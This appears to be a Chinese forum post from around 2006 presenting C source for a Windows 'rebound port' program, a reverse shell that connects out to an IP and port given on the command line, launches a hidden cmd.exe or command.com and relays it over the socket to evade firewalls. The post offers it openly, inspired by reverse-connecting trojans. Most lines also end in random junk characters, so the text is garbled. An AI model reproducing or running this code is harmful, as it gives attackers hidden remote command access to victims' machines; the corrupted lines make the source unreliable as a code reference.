Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Zc_%hQf2A  
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/* ============================== cmpT_51~O  
Rebound port in Windows NT qq%\  
By wind,2006/7 \`H"4r[?(  
===============================*/ HN/ %(y  
#include v"y0D  
#include 0b)^#+  
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#pragma comment(lib,"wsock32.lib") ]SqLF!S(=  
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void OutputShell(); ^sLnKAN  
SOCKET sClient; Md~% e'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q\pTyNAYn  
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void main(int argc,char **argv) 3?x4+b  
{ 6}Se$XMl  
WSADATA stWsaData; ]bjXbbHd  
int nRet; FtaO@5pS54  
SOCKADDR_IN stSaiClient,stSaiServer; ,/d R  
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if(argc != 3) 4
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{ &d"c6il[  
printf("Useage:\n\rRebound DestIP DestPort\n"); L/2{}l>D  
return; So&an !  
} zh5$$*\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); o5!"dxR  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *h+@a  
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stSaiClient.sin_family = AF_INET; .T*K4m{b0  
stSaiClient.sin_port = htons(0); :6~DOvY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I%.96V  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OQ[E-%v1 R  
{ t7A '  
printf("Bind Socket Failed!\n"); 3~zK :(  
return; ~]+-<O^U~  
} }LXS!Ff:  
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stSaiServer.sin_family = AF_INET; I) mP?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mcbr3P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ds@w=~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 64qm  
{ -P|EV|8=  
printf("Connect Error!"); oV4+w_rrLc  
return; S >E|A%  
} 1b4aY> Z  
OutputShell(); "`b"PQ<x  
} n5nV461U  
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void OutputShell() #41fRmzC  
{ kOv2E]  
char szBuff[1024]; deD%E-Ja  
SECURITY_ATTRIBUTES stSecurityAttributes; r"yA=d'c  
OSVERSIONINFO stOsversionInfo; JsNqijVC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F[q:jY  
STARTUPINFO stStartupInfo; 1-_op!N  
char *szShell; O]ZP- WG  
PROCESS_INFORMATION stProcessInformation; 'qGKS:8  
unsigned long lBytesRead; ]dZ8]I<$C  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8.Q;o+NU  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "AN2K
  
stSecurityAttributes.lpSecurityDescriptor = 0; {`Ekv/XWa  
stSecurityAttributes.bInheritHandle = TRUE; y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @agW{%R:.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uZsm=('ww  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s?;rP,{:p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b9M.p*!  
stStartupInfo.wShowWindow = SW_HIDE; Q'f!392|  
stStartupInfo.hStdInput = hReadPipe; 1WGcv O)<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kcy?;b;z  
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GetVersionEx(&stOsversionInfo); X[L6Av  
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switch(stOsversionInfo.dwPlatformId) |ITSd%`3_  
{ z^s40707x  
case 1: }-3| v<d  
szShell = "command.com"; mQRQ2SN6  
break; C-@  
default: -4P2 2  
szShell = "cmd.exe"; _pu G?p  
break; => .EDL.  
} a6K1-SR^6)  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P;%4Imq3  
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send(sClient,szMsg,77,0); liEb(<$a  
while(1) DlB"o.  
{ hZ0p /Bdv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FA 1E`AdU  
if(lBytesRead) LOY+^  
{ U#oe8(?#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R} nY8zE  
send(sClient,szBuff,lBytesRead,0); qXPT1%+)y  
} zz ^2/l  
else [m*=Q  
{ n\v\<mVTb7  
lBytesRead=recv(sClient,szBuff,1024,0); :Jp$_T&E  
if(lBytesRead<=0) break; z7+y{-{Z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ([loWr}QR  
} %|(~k*s4  
} $y!k)"k  
NB]T~_?]*  
return; ^%X,Rml<e  
}